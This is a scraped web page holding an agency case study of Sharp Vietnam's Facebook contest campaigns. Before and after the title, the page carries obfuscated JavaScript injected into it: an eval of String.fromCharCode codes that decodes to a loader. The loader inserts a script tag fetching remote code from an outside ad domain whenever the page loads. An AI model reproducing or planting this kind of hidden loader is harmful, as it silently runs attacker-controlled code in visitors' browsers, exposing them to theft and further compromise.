var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 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120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); Sharp Vietnam – Monipla – Digital Marketing Online var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 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Background

Sharp Vietnam has been using Facebook as one of their strategic marketing channels to promote all of their key products on Social Media including TV, Refrigerator, Air filter and Mosquito catcher.

Challenge

Client chose DI Marketing to build a strong branding on Social as well as support them to introduce their key differentiating product such as Air filter and Mosquito catcher

DIM’s strategy & Result

Our unique value propositions are:

  • Interactive contests (on micro-site and our Monipla platform) with fan enlightening purposes
  • Enhancing the conversions from Online to offline sales, by frequently promote new products in such ways that keep injecting the temptation for consumers to explore and research more about the product

Moreover, Sharp Vietnam expects the VietNammese users get more information about their products as well as increasing the interaction of their fanpage. They launched 4 Monipla events which are

  • ĐÓN LỘC XUÂN – KHUÂN QUÀ SHARP
  • TÌM HIỂU MÁY TẠO ION,LỌC KHÍ – BẮT MUỖI ĐỘC ĐÁO TỪ SHARP
  • THỬ THÁCH MÙA HÈ CÙNG SHARP
  • CÔNG NGHỆ PCI – TÌM HIỂU KỸ, TRẢI NGHIỆM THỰC

The most attractive events of these has attracted 6,325 participants and increased more than 3,000 new fans for Sharp Vietnam fanpage.

  • Client Sharp Vietnam
  • Channel Social Media Marketing
  • Skills Creative, Social Media
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